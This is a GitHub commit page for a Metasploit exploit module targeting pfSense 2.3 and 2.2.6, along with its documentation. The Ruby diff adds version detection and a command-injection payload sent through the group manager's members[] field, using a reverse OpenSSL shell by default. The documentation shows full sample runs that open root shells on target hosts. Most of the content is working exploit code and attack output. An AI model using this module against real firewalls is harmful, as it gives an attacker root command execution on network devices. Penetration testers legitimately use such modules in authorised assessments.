Skip to content

Commit b7f7afb

Browse files
h00dieh00die
committed
version detect, 2.2.6 handling
1 parent f889195 commit b7f7afb

File tree

2 files changed

+118
-20
lines changed

2 files changed

+118
-20
lines changed

‎documentation/modules/exploit/unix/http/pfsense_group_member_exec.md

Lines changed: 71 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,12 @@
33
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
44
as root.
55

6-
This module has been tested successfully on version 2.3 RELEASE.
6+
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
77

88

99
## Vulnerable Application
1010

11-
This module has been tested successfully on version CE 2.3 amd64.
11+
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
1212

1313
Installer:
1414

@@ -28,25 +28,87 @@
2828

2929
## Sample Output
3030

31+
### 2.3-Release amd64
32+
3133
```
3234
[*] Processing pfsense.rc for ERB directives.
3335
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
34-
resource (pfsense.rc)> set rhost 192.168.2.15
35-
rhost => 192.168.2.15
36+
resource (pfsense.rc)> set rhost 2.2.2.2
37+
rhost => 2.2.2.2
3638
resource (pfsense.rc)> set verbose true
3739
verbose => true
40+
resource (pfsense.rc)> set lhost 1.1.1.1
41+
lhost => 1.1.1.1
3842
resource (pfsense.rc)> check
39-
[*] 192.168.2.15:443 The target service is running, but could not be validated.
43+
[*] 2.2.2.2:443 The target service is running, but could not be validated.
4044
resource (pfsense.rc)> exploit
41-
[*] Started reverse TCP handler on 192.168.2.147:4444
42-
[*] CSRF Token for login: sid:e03842f251d3dacb9df81c00a328431580c8fed5,1510715698;ip:ca2fedb3100f0d4d998c9a6a4bb14a624ff904ec,1510715698
45+
[*] Started reverse double SSL handler on 1.1.1.1:4444
46+
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
4347
[*] Successful Authentication
48+
[*] pfSense Version Detected: 2.3-RELEASE
4449
[+] Login Successful
45-
[*] CSRF Token for group creation: sid:c8b3595aa9e5479086e5ea24f12f737f84dc39a7,1510715698
46-
[*] Command shell session 1 opened (192.168.2.147:4444 -> 192.168.2.15:65499) at 2017-11-14 22:14:58 -0500
50+
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
51+
[*] Manual removal of group aJPEfJLDKT is required.
52+
[*] Accepted the first client connection...
53+
[*] Accepted the second client connection...
54+
[*] Command: echo 5ER6rqZOjOSGjRml;
55+
[*] Writing to socket A
56+
[*] Writing to socket B
57+
[*] Reading from sockets...
58+
[*] Reading from socket A
59+
[*] A: "5ER6rqZOjOSGjRml\n"
60+
[*] Matching...
61+
[*] B is input...
62+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
4763
4864
whoami
4965
root
5066
uname -a
5167
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
5268
```
69+
### 2.2.6 amd64
70+
71+
```
72+
[*] Processing pfsense.rc for ERB directives.
73+
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
74+
resource (pfsense.rc)> set rhost 3.3.3.3
75+
rhost => 3.3.3.3
76+
resource (pfsense.rc)> set verbose true
77+
verbose => true
78+
resource (pfsense.rc)> set lhost 1.1.1.1
79+
lhost => 1.1.1.1
80+
resource (pfsense.rc)> check
81+
[*] 3.3.3.3:443 The target is not exploitable.
82+
resource (pfsense.rc)> exploit
83+
[*] Started reverse double SSL handler on 1.1.1.1:4444
84+
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
85+
[*] Successful Authentication
86+
[*] pfSense Version Detected: 2.2.6-RELEASE
87+
[+] Login Successful
88+
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
89+
[*] Manual removal of group okUPTvzysL is required.
90+
[*] Accepted the first client connection...
91+
[*] Accepted the second client connection...
92+
[*] Command: echo 7hKg6oD9DkwXYRtt;
93+
[*] Writing to socket A
94+
[*] Writing to socket B
95+
[*] Reading from sockets...
96+
[*] Reading from socket B
97+
[*] B: "7hKg6oD9DkwXYRtt\n"
98+
[*] Matching...
99+
[*] A is input...
100+
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
101+
102+
whoami
103+
root
104+
uname -a
105+
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
106+
```
107+
108+
## Cleanup
109+
110+
Manual cleanup is required. The group name is printed during exploitation.
111+
112+
## Logging
113+
114+
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`

‎modules/exploits/unix/http/pfsense_group_member_exec.rb

Lines changed: 47 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -31,14 +31,18 @@ def initialize(info = {})
3131
'License' => MSF_LICENSE,
3232
'Platform' => 'unix',
3333
'Privileged' => false,
34-
'DefaultOptions' => { 'SSL' => true },
34+
'DefaultOptions' =>
35+
{
36+
'SSL' => true,
37+
'PAYLOAD' => 'cmd/unix/reverse_openssl'
38+
},
3539
'Arch' => [ ARCH_CMD ],
3640
'Payload' =>
3741
{
3842
'Compat' =>
3943
{
4044
'PayloadType' => 'cmd',
41-
'RequiredCmd' => 'perl awk openssl'
45+
'RequiredCmd' => 'perl openssl'
4246
}
4347
},
4448
'Targets' =>
@@ -93,6 +97,26 @@ def login
9397
end
9498
end
9599

100+
def detect_version(cookie)
101+
res = send_request_cgi(
102+
'uri' => '/index.php',
103+
'method' => 'GET',
104+
'cookie' => cookie
105+
)
106+
unless res
107+
fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
108+
end
109+
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
110+
if version
111+
print_status("pfSense Version Detected: #{version}")
112+
return Gem::Version.new(version)
113+
end
114+
# If the device isn't fully setup, you get stuck at redirects to wizar.php
115+
# however, this does NOT stop exploitation strangely
116+
print_error("pfSens Version Not Detected or wizard still enabled.")
117+
Gem::Version.new('0.0')
118+
end
119+
96120
def check
97121
begin
98122
res = send_request_cgi(
@@ -114,6 +138,7 @@ def check
114138
def exploit
115139
begin
116140
cookie = login
141+
version = detect_version(cookie)
117142
vprint_good('Login Successful')
118143
res = send_request_cgi(
119144
'uri' => '/system_groupmanager.php',
@@ -128,23 +153,34 @@ def exploit
128153
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
129154
vprint_status("CSRF Token for group creation: #{csrf}")
130155

131-
res = send_request_cgi(
132-
'uri' => '/system_groupmanager.php',
133-
'method' => 'POST',
134-
'cookie' => cookie,
135-
'vars_post' => {
156+
group_name = rand_text_alpha(10)
157+
post_vars = {
136158
'__csrf_magic' => csrf,
137-
'groupname' => rand_text_alpha(10),
138-
'gtype' => 'local',
159+
'groupname' => group_name,
139160
'description' => '',
140161
'members[]' => "0';#{payload.encoded};'",
141162
'groupid' => '',
142-
'save' => 'Save',
143-
},
163+
'save' => 'Save'
164+
}
165+
if version >= Gem::Version.new('2.3')
166+
post_vars.merge({'gtype' => 'local'})
167+
elsif version <= Gem::Version.new('2.3') #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
168+
post_vars.merge({
169+
'act' => '',
170+
'gtype' => '',
171+
'privid' => ''
172+
})
173+
end
174+
res = send_request_cgi(
175+
'uri' => '/system_groupmanager.php',
176+
'method' => 'POST',
177+
'cookie' => cookie,
178+
'vars_post' => post_vars,
144179
'vars_get' => {
145180
'act' => 'edit'
146181
}
147182
)
183+
print_status("Manual removal of group #{group_name} is required.")
148184
rescue ::Rex::ConnectionError
149185
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
150186
end

0 commit comments

Comments
 (0)